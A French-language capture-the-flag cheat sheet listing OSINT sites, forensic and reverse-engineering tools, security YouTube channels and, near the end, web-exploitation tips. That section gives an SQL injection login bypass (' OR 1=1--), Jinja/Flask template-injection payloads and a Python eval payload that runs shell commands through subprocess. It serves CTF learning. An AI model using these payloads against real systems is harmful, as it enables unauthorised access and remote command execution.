	- LLM de vision géospatiale qui peut estimer la localisation à partir d'une seule image
- [overpass turbo](https://overpass-turbo.eu)
	- Site web qui permet d'interroger l'API OpenStreetMap et de visualiser les résultats
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Site web qui permet d'interroger facilement l'API OSM

## Divers

- Résolution des erreurs DNS
    - `dig <site> <recordType>`
    - [Liste des types d'enregistrement](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Assurez-vous d'essayer TXT
- Exécuter un binaire sous une architecture différente
    - 64 bits :
        - `linux64 ./<binary>`
    - 32 bits :
        - `linux32 ./<binary>`
        
- Extraire les macros MS :
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Voir le GCode CNC
    - [https://ncviewer.com/](https://ncviewer.com/)
Télécharger l’outil
  • L'équipe Cyber de l'UF (je suis un peu partial, mais c'est définitivement l'une des meilleures chaînes YouTube pour ça)
  • Gynvael
    • Fait des writeups vidéo incroyablement intuitifs. A réalisé l'intégralité du picoCTF 2019 (c'est énorme)
  • Black Hills Information Security
    • Société de sécurité qui produit énormément de contenu éducatif
    • Propose toujours des cours et webcasts gratuits sur des sujets de sécurité
  • stacksmashing
    • Vidéos incroyables sur le reverse engineering et le hacking matériel
    • A une série très cool où il reverse-engineer WannaCry
  • Ben Greenberg
    • Professeur de la GMU avec des tonnes de tutoriels vidéo sur le pwn et les malwares
    • Un peu daté, mais toujours bon
  • InfoSecLab at Georgia Tech
    • Conférences approfondies de bon niveau sur le pwn
    • Nécessite quelques connaissances de base
  • RPISEC
    • Réunions d'équipe de l'Université RPI
    • Très avancé et suppose un peu de connaissances en informatique
  • Matt Brown
    • Pentester en sécurité embarquée
    • Fait d'excellentes vidéos pour débutants sur le hacking IoT
  • Phoenix Exploit Education
    • Des tonnes de problèmes d'exploitation binaire classés par difficulté.
    • Inclut le code source et est livré avec une VM contenant tous les binaires.
  • hexedit
    • hexedit <fichier.xyz>
    • Vous devrez peut-être modifier la signature de certains fichiers image pour les ouvrir.
    • Liste des signatures de fichiers courantes
  • Ghex (un autre éditeur hexadécimal avec interface graphique. Utile si vous devez sauter à un certain octet)
    • ghex <fichier.xyz>
  • Les fichiers docx sont des conteneurs, vous pouvez donc les décompresser pour trouver du contenu caché.
    • unzip <fichier.docx>
  • Grep - Une bonne façon d'utiliser grep pour trouver le flag récursivement :
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}'
    • Vous pouvez remplacer 'picoCTF' par le début du flag que vous cherchez.
  • Ltrace - Permet de voir ce que fait le code pendant l'exécution du programme :
    • ltrace ./<fichier>
    • ltrace -s 100 ./<fichier>
      • Ltrace raccourcit les très longues chaînes. Utilisez -s pour augmenter le nombre de caractères affichés. Utile pour observer des strcmp avec de grandes chaînes.
  • Très bonne vidéo sur la modification de la pile avec la vulnérabilité de chaîne de format et %n :
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Automatise le processus d'injection SQL
  • Injection SQL basique
    • Entrez 'OR 1=1-- dans le formulaire de connexion
    • Sur le serveur, cela sera évalué comme SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 s'évalue à vrai, ce qui satisfait l'instruction OR, et le reste de la requête est commenté par --
  • PayloadsAllTheThings
    • Excellente ressource pour l'exploitation web avec beaucoup de payloads
  • Template Injection
    • tplmap
      • Injection automatisée de templates côté serveur
    • Injection Jinja
      • {{ config.items() }}
    • Injection Flask
      • {{ config }}
    • Fonction Python eval()
      • __import__.('subprocess').getoutput('<commande>')
        • assurez-vous d'inverser les parenthèses si cela ne fonctionne pas
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • lister les fichiers dans le système
    • Plus d'injection Python
  • Cross Site Scripting
    • CSP Evaluator
      • L'évaluateur de Content Security Policy de Google